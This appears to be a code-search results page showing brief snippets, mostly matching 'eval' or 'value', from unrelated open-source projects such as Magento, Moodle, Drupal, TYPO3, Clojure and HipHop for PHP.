FieldsFilterTest.php https://gitlab.com/crazybutterfly815/magento2 | PHP | 233 lines
                    
1<?php
                    
2/**
                    
13 */
                    
14class FieldsFilterTest extends \PHPUnit_Framework_TestCase
                    
15{
                    
23     */
                    
24    protected $sampleResponseValue;
                    
25
                    
25
                    
26    /** @var \Magento\Framework\Webapi\Rest\Request|\PHPUnit_Framework_MockObject_MockObject */
                    
27    protected $requestMock;
                    
35        $this->processor = new FieldsFilter($this->requestMock);
                    
36        $this->sampleResponseValue = [
                    
37            'customer' => [
                    
105    {
                    
106        $expected = ['customer' => $this->sampleResponseValue['customer']];
                    
107
                    
                
index.html https://github.com/koto/blog-kotowicz-net-examples.git | HTML | 321 lines
                    
127          .data('src', payload)
                    
128          .attr('src', 'redirect.php?url=' + encodeURIComponent(payload))
                    
129          .appendTo('#images');
                    
138     try {
                    
139       val = $.evalJSON(val);
                    
140     } catch(e) {
                    
154    $('#url').val($(this).text());
                    
155    testPayload($.evalJSON($(this).text()));
                    
156    return false;
                    
                
CookieJar.php https://gitlab.com/unofficial-mirrors/moodle | PHP | 385 lines
                    
35 * @category Authentication
                    
36 * @package  PhpCAS
                    
37 * @author   Adam Franco <afranco@middlebury.edu>
                    
127     * Parse Cookies without PECL
                    
128     * From the comments in http://php.net/manual/en/function.http-parse-cookie.php
                    
129     *
                    
197            if (isset($attributeParts[1])) {
                    
198                $attributeValue = trim($attributeParts[1]);
                    
199                // Values may be quoted strings.
                    
200                if (strpos($attributeValue, '"') === 0) {
                    
201                    $attributeValue = trim($attributeValue, '"');
                    
202                    // unescape any escaped quotes:
                    
202                    // unescape any escaped quotes:
                    
203                    $attributeValue = str_replace('\"', '"', $attributeValue);
                    
204                }
                    
                
ClientInterface.php https://gitlab.com/ntphuc/BackendFeedy | PHP | 230 lines
                    
1<?php
                    
2
                    
143 * @method mixed  watch($key)
                    
144 * @method mixed  eval($script, $numkeys, $keyOrArg1 = null, $keyOrArgN = null)
                    
145 * @method mixed  evalsha($script, $numkeys, $keyOrArg1 = null, $keyOrArgN = null)
                    
                
autoloader.php https://gitlab.com/unofficial-mirrors/moodle | PHP | 203 lines
                    
26/**
                    
27 * Class phpunit_autoloader.
                    
28 *
                    
36 * vendor/bin/phpunit core_component_testcase
                    
37 * vendor/bin/phpunit lib/tests/component_test.php
                    
38 * vendor/bin/phpunit core_component_testcase lib/tests/component_test.php
                    
44 */
                    
45class phpunit_autoloader implements \PHPUnit\Runner\TestSuiteLoader {
                    
46    public function load($suiteClassName, $suiteClassFile = '') {
                    
74
                    
75            throw new PHPUnit\Framework\Exception(
                    
76                sprintf("Class '%s' could not be found in '%s'.", $suiteClassName, $suiteClassFile)
                    
110            }
                    
111            // The last option is testsuite directories in main phpunit.xml file.
                    
112            $xmlfile = "$CFG->dirroot/phpunit.xml";
                    
                
protocols.clj https://github.com/alextkachman/clojure.git | Clojure | 301 lines
                    
2;   The use and distribution terms for this software are covered by the
                    
3;   Eclipse Public License 1.0 (http://opensource.org/licenses/eclipse-1.0.php)
                    
4;   which can be found in the file epl-v10.html at the root of this distribution.
                    
74  (testing "you can redefine a protocol with different methods"
                    
75    (eval '(defprotocol Elusive (old-method [x])))
                    
76    (eval '(defprotocol Elusive (new-method [x])))
                    
76    (eval '(defprotocol Elusive (new-method [x])))
                    
77    (is (= :new-method (eval '(new-method (reify Elusive (new-method [x] :new-method))))))
                    
78    (is (fails-with-cause? IllegalArgumentException #"No method of interface: .*\.Elusive found for function: old-method of protocol: Elusive \(The protocol method may have been defined before and removed\.\)"
                    
78    (is (fails-with-cause? IllegalArgumentException #"No method of interface: .*\.Elusive found for function: old-method of protocol: Elusive \(The protocol method may have been defined before and removed\.\)"
                    
79          (eval '(old-method (reify Elusive (new-method [x] :new-method))))))))
                    
80
                    
103    (is (fails-with-cause? IllegalArgumentException #".*HasProtocolInline already directly implements interface"
                    
104          (eval '(extend clojure.test_clojure.protocols.HasProtocolInline
                    
105                         clojure.test-clojure.protocols.examples/ExampleProtocol
                    
                
block_area_add_new.php https://bitbucket.org/selfeky/xclusivescardwebsite.git | PHP | 239 lines
                    
187		<div class="ccm-block-type-search">
                    
188		<a class="ccm-block-type-help" href="javascript:ccm_showBlockTypeDescriptions()" title="<?php echo t('Learn more about this block type.')?>" id="ccm-bt-help-trigger-all"><img src="<?php echo ASSETS_URL_IMAGES?>/icons/icon_header_help.png" width="17" height="20" /></a>
                    
189		<?php echo $form->text('ccmBlockTypeSearch', array('tabindex' => 1, 'autocomplete' => 'off', 'style' => 'width: 168px'))?>
                    
203				<?php  if (!$bt->hasAddTemplate()) { ?>
                    
204					<a style="background-image: url(<?php echo $btIcon?>)" href="javascript:void(0)" onclick="ccmBlockTypeResetKeys(); jQuery.fn.dialog.showLoader(); $.get('<?php echo $bt->getBlockAddAction($a)?>&processBlock=1&add=1', function(r) { ccm_parseBlockResponse(r, false, 'add'); })" class="ccm-block-type-inner"><?php echo $bt->getBlockTypeName()?></a>
                    
205				<?php  } else { ?>
                    
205				<?php  } else { ?>
                    
206					<a onclick="ccmBlockTypeResetKeys()" dialog-on-destroy="ccmBlockTypeMapKeys()" class="dialog-launch ccm-block-type-inner" dialog-on-close="ccm_blockWindowAfterClose()" dialog-append-buttons="true" dialog-modal="false" dialog-width="<?php echo $bt->getBlockTypeInterfaceWidth()?>" dialog-height="<?php echo $bt->getBlockTypeInterfaceHeight()+20?>" style="background-image: url(<?php echo $btIcon?>)" dialog-title="<?php echo t('Add')?> <?php echo $bt->getBlockTypeName()?>" href="<?php echo REL_DIR_FILES_TOOLS_REQUIRED?>/add_block_popup.php?cID=<?php echo $c->getCollectionID()?>&btID=<?php echo $bt->getBlockTypeID()?>&arHandle=<?php echo urlencode($a->getAreaHandle())?>"><?php echo $bt->getBlockTypeName()?></a>
                    
207				<?php  } ?>
                    
207				<?php  } ?>
                    
208				<div class="ccm-block-type-description"  id="ccm-bt-help<?php echo $bt->getBlockTypeID()?>"><?php echo $bt->getBlockTypeDescription()?></div>
                    
209			</li>
                    
213			<div class="ccm-block-type-grid-entry">
                    
214				<a class="dialog-launch ccm-block-type-inner" dialog-modal="false" dialog-width="<?php echo $bt->getBlockTypeInterfaceWidth()?>" dialog-height="<?php echo $bt->getBlockTypeInterfaceHeight()?>" style="background-image: url(<?php echo $btIcon?>)" dialog-title="<?php echo t('Add')?> <?php echo $bt->getBlockTypeName()?>" href="<?php echo REL_DIR_FILES_TOOLS_REQUIRED?>/add_block_popup.php?cID=<?php echo $c->getCollectionID()?>&btID=<?php echo $bt->getBlockTypeID()?>&arHandle=<?php echo $a->getAreaHandle()?>"><?php echo $bt->getBlockTypeName()?></a>
                    
215			</div> <?php  */ ?>
                    
                
AjaxTest.php https://gitlab.com/mohamed_hussein/prodt | PHP | 209 lines
                    
1<?php
                    
2
                    
61    $fake_library = 'fakeLibrary/fakeLibrary';
                    
62    $session->evaluateScript("drupalSettings.ajaxPageState.libraries = drupalSettings.ajaxPageState.libraries + ',$fake_library';");
                    
63
                    
63
                    
64    $libraries = $session->evaluateScript('drupalSettings.ajaxPageState.libraries');
                    
65    // Test that the fake library is set.
                    
72    // Test that the fake library is still set after the AJAX call.
                    
73    $libraries = $session->evaluateScript('drupalSettings.ajaxPageState.libraries');
                    
74    $this->assertStringContainsString($fake_library, $libraries);
                    
78    $this->drupalGet('ajax-test/dialog');
                    
79    $libraries = $session->evaluateScript('drupalSettings.ajaxPageState.libraries');
                    
80    $this->assertStringNotContainsString($fake_library, $libraries);
                    
85    $assert->assertWaitOnAjaxRequest();
                    
86    $libraries = $session->evaluateScript('drupalSettings.ajaxPageState.libraries');
                    
87    $this->assertStringNotContainsString($fake_library, $libraries);
                    
                
FieldHandlerInterface.php https://gitlab.com/mohamed_hussein/prodt | PHP | 270 lines
                    
1<?php
                    
2
                    
94   */
                    
95  public function tokenizeValue($value, $row_index = NULL);
                    
96
                    
                
Item.php https://github.com/speedupmate/Magento-CE-Mirror.git | PHP | 447 lines
                    
1<?php
                    
2/**
                    
131
                    
132        if ($expires = $this->_getAttributeValue('expiration_date')) {
                    
133            $expires = $this->gBaseDate2DateTime($expires);
                    
225
                    
226        $attributes = $this->getAttributeValues();
                    
227        if (is_array($attributes) && count($attributes)) {
                    
269        $entry = $this->getEntry();
                    
270        $attributeValues = $this->getAttributeValues();
                    
271
                    
309
                    
310        if (isset($attributeValues['price']['value']) && floatval($attributeValues['price']['value']) > 0) {
                    
311            $price = $attributeValues['price']['value'];
                    
332        // set new 'attribute_values' with removed 'title' and/or 'description' keys to avoid 'duplicate' errors
                    
333        $this->setAttributeValues($attributeValues);
                    
334
                    
                
Graph.php https://github.com/studioskylab/Docblox.git | PHP | 259 lines
                    
24 * @author     Mike van Riel <mike.vanriel@naenius.com>
                    
25 * @license    http://www.opensource.org/licenses/mit-license.php MIT
                    
26 * @link       http://docblox-project.org
                    
66            foreach ($element->getElementsByTagName('class') as $class) {
                    
67                $class_paths[$class->getElementsByTagName('full_name')->item(0)->nodeValue] = $path;
                    
68            }
                    
76            foreach ($element->getElementsByTagName('interface') as $class) {
                    
77                $class_paths[$class->getElementsByTagName('full_name')->item(0)->nodeValue] = $path;
                    
78            }
                    
124            if ($sub_element->getAttribute('abstract') == 'true') {
                    
125                $node->setLabel('<«abstract»<br/>'. $sub_element->getElementsByTagName('name')->item(0)->nodeValue.'>');
                    
126            }
                    
127            if (!isset($this->class_paths[$sub_element->getElementsByTagName('full_name')->item(0)->nodeValue])) {
                    
128                echo $sub_element->getElementsByTagName('full_name')->item(0)->nodeValue.PHP_EOL;
                    
129            } else {
                    
                
index.php https://github.com/but43r/TYPO3v4-Core.git | PHP | 406 lines
                    
1<?php
                    
2/***************************************************************
                    
46 * TOTAL FUNCTIONS: 5
                    
47 * (This index is automatically created/updated by the extension "extdeveval")
                    
48 *
                    
51unset($MCONF);
                    
52require ('conf.php');
                    
53require ($BACK_PATH.'init.php');
                    
53require ($BACK_PATH.'init.php');
                    
54require ($BACK_PATH.'template.php');
                    
55$GLOBALS['LANG']->includeLLFile('EXT:lowlevel/config/locallang.xml');
                    
266			$line = t3lib_div::_GP('_') ? t3lib_div::_GP('_') : t3lib_div::_GP('varname');
                    
267			if (t3lib_div::_GP('writetoexttables')) { // Write the line to extTables.php
                    
268					// change value to $GLOBALS
                    
271				$changedLine = '$GLOBALS[\'' . substr($line, 1, $length - 1) . '\']' . substr($line, $length);
                    
272					// load current extTables.php
                    
273				$extTables = t3lib_div::getURL(PATH_typo3conf . TYPO3_extTableDef_script);
                    
                
Cookie.php https://bitbucket.org/larryg/powerhut.git | PHP | 324 lines
                    
1<?php
                    
2
                    
195
                    
196    private static function parseDate($dateValue)
                    
197    {
                    
198        // trim single quotes around date if present
                    
199        if (($length = strlen($dateValue)) > 1 && "'" === $dateValue[0] && "'" === $dateValue[$length-1]) {
                    
200            $dateValue = substr($dateValue, 1, -1);
                    
203        foreach (self::$dateFormats as $dateFormat) {
                    
204            if (false !== $date = \DateTime::createFromFormat($dateFormat, $dateValue, new \DateTimeZone('GMT'))) {
                    
205                return $date->getTimestamp();
                    
209        // attempt a fallback for unusual formatting
                    
210        if (false !== $date = date_create($dateValue, new \DateTimeZone('GMT'))) {
                    
211            return $date->getTimestamp();
                    
213
                    
214        throw new \InvalidArgumentException(sprintf('Could not parse date "%s".', $dateValue));
                    
215    }
                    
                
CalculatorViewController.m https://github.com/oliverbarreto/CS193P-A4.git | Objective C | 376 lines
                    
148    if (userIsInTheMiddleOfTypingANumber) {
                    
149        self.brain.operand = [self.display.text doubleValue];
                    
150        userIsInTheMiddleOfTypingANumber = NO;
                    
152
                    
153    //Evaluate before displaying 
                    
154    double result = [self.brain performOperation:sender.titleLabel.text];
                    
175    if (userIsInTheMiddleOfTypingANumber) {
                    
176        [self.brain setOperand:[display.text doubleValue]];
                    
177        userIsInTheMiddleOfTypingANumber = NO;
                    
184        
                    
185    //Call evaluateExpression:UssingVariablesValues:
                    
186    double myResult = [CalculatorBrain evaluateExpression:self.brain.expression
                    
186    double myResult = [CalculatorBrain evaluateExpression:self.brain.expression
                    
187                                      usingVariableValues:self.brain.myVariables];
                    
188    
                    
                
dynamic_object_data.cpp https://github.com/zsj888/hiphop-php.git | C++ | 421 lines
                    
2   +----------------------------------------------------------------------+
                    
3   | HipHop for PHP                                                       |
                    
4   +----------------------------------------------------------------------+
                    
6   +----------------------------------------------------------------------+
                    
7   | This source file is subject to version 3.01 of the PHP license,      |
                    
8   | that is bundled with this package in the file LICENSE, and is        |
                    
9   | available through the world-wide-web at the following url:           |
                    
10   | http://www.php.net/license/3_01.txt                                  |
                    
11   | If you did not receive a copy of the PHP license and are unable to   |
                    
12   | obtain it through the world-wide-web, please send a note to          |
                    
13   | license@php.net so we can mail you a copy immediately.               |
                    
14   +----------------------------------------------------------------------+
                    
49void DynamicObjectData::
                    
50dynConstructFromEval(Eval::VariableEnvironment &env,
                    
51                    const Eval::FunctionCallExpression *call) {
                    
                
 

Source

Language